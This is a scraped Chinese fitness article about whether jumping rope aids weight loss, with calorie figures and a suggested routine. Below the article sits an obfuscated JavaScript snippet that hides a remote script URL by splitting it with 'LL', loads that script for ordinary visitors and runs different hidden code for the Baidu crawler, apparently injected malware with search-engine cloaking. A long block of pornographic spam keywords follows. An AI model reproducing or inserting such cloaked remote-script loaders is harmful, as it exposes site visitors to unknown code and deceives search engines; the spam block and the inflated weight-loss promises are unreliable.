當前位置:首頁 > 減肥 > 運動減肥 > 正文

跳繩會很減肥嗎

2017-04-22 00:02:27  來源:360常識網(wǎng)   熱度:
導語:特別是在秋冬季節(jié)的時候人們會攝入非常多的熱量,而且這個時候因為寒冷就不想要去動彈的,這樣只是吃東西而又不去鍛煉的話就會使得自己的身

特別是在秋冬季節(jié)的時候人們會攝入非常多的熱量,而且這個時候因為寒冷就不想要去動彈的,這樣只是吃東西而又不去鍛煉的話就會使得自己的身體里面開始堆積脂肪,所以就必須要想辦法進行減肥,這個時候就可以在家里面進行跳繩運動的,因為外面太過于寒冷,所以只能去做室內(nèi)運動的。

一般來說,因為秋冬的天氣更加涼爽,人體的感覺更加舒適,因此往往會吃下去更多的美味,如果再忽視運動,那么脂肪會很快堆積。

在各類減肥運動中,跳繩一直備受寵愛。跳繩30—40分能消耗300千卡熱量,而一碗白米飯的熱量,大約為250千卡。每減一公斤脂肪,大約需要燃燒7700千卡熱量。據(jù)統(tǒng)計,采用跳繩減肥方法的人,一般都能在兩周內(nèi)瘦掉5-10斤,甚至更多。

如果要保持身材,現(xiàn)在就教你一個簡單快捷的辦法--跳繩。各個年齡層的女性都可根據(jù)自己的身體狀況選擇不同的跳繩的強度。實踐表明,跳繩運動對減肥確有明顯的效果,特別是有助于減少腿部和臀部的多余脂肪。跳繩減肥的要領:

每日跳5分鐘為一節(jié),每天可跳5到6節(jié),每周跳6天,待適應后可逐步加量。長期堅持,一定可以有效地減輕體重。

跳繩是一種最佳的減肥瘦身操,有測試顯示,跳5分鐘,每分鐘跳140次的運動效果就相當于慢跑半小時。跳繩不但可以幫你減肥瘦身,還可以讓全身肌肉勻稱有力,同是會讓你的呼吸系統(tǒng)、心臟、心血管系統(tǒng)得到充分的鍛煉。這種減肥瘦身方法簡單,有趣,不受氣候的影響,而且是一種男女老少皆宜的運動,只需要一根繩子就可以達到減肥瘦身的目的,而且對女性尤為適宜。

有氧運動的主要目的是:連續(xù)地讓你的心跳加快,也就是提高你的心率,讓你的心臟得到鍛煉,這就是在美國把有氧運動也叫做心血管運動的原因,另外有氧運動也是消耗能量和體內(nèi)多余脂肪的重要手段之一。

以上這篇文章就是向大家詳細介紹了跳繩很減肥嗎,其實跳繩的花樣是非常多的,可以根據(jù)自己想要減肥哪個部位而變化花樣的,而且跳繩還可以讓自己全身的肌肉都變得非常的勻稱,有一定的瘦身作用。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品99久久久久久人四虎| 9久热精品免费观看视频| 国内精品久久九九国产精品| 伦精品一区二区三区视频| 天美传媒精品1区2区3区| 精品免费国产一区二区三区| 人妻少妇乱子伦精品| 亚洲午夜精品第一区二区8050| 国产精品成人va| 精品亚洲综合在线第一区| 国产精品久久久久久久久久久搜索 | 国产农村妇女毛片精品久久| 国产精品永久免费10000| 久久夜色精品国产亚洲| 四虎成人国产精品视频| 国产精品乳摇在线播放| 亚洲精品无码专区在线在线播放| 精品久久久久亚洲| 91精品手机国产免费| 国产美女亚洲精品久久久综合 | 精品无码久久久久久久久 | 国产精品天天影视久久综合网 | 国内精品视频一区二区八戒 | 久久精品国产亚洲av品善| 久久久久成人精品| 国产亚州精品女人久久久久久| 国产福利vr专区精品| 亚洲国产午夜精品理论片在线播放| 99精品视频免费观看| 精品久久久久久综合日本| 久久99精品久久久久久9蜜桃| 国产精品无码久久久久久久久久| 99爱在线精品免费观看| 99视频精品全部在线播放| 日韩精品在线观看视频| 国产香蕉国产精品偷在线观看| selaoban在线视频免费精品| 国产精品一区二区无线| 精品久久久久久久99热| 精品国产乱码久久久久久郑州公司 | 青草午夜精品视频在线观看|